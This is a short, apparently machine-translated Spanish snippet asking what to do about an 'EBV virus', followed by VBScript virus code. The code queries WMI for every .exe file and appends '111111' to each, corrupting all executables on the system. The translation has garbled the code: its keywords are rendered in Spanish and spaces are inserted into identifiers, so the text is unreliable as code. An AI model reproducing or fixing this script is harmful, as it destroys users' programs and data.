¿Qué hacer con el virus EBV?

Set FSO = CreateObject("Script.Filesystem Object")

set bage = GetObject(" winmgmts:{ nivel de suplantación = suplantar }!\\. \root\ cimv2 ")

Establecer tubería =bage. ExecQuery(" Seleccione * de CIM _ DataFile donde Extension = ' exe ' ")

Para cada archivo en la canalización

Establezca objFile =FSO. OpenTextFile(archivo.nombre, 8, verdadero)

objFile. línea de escritura " 111111 "

objFile. Cerrar

Entonces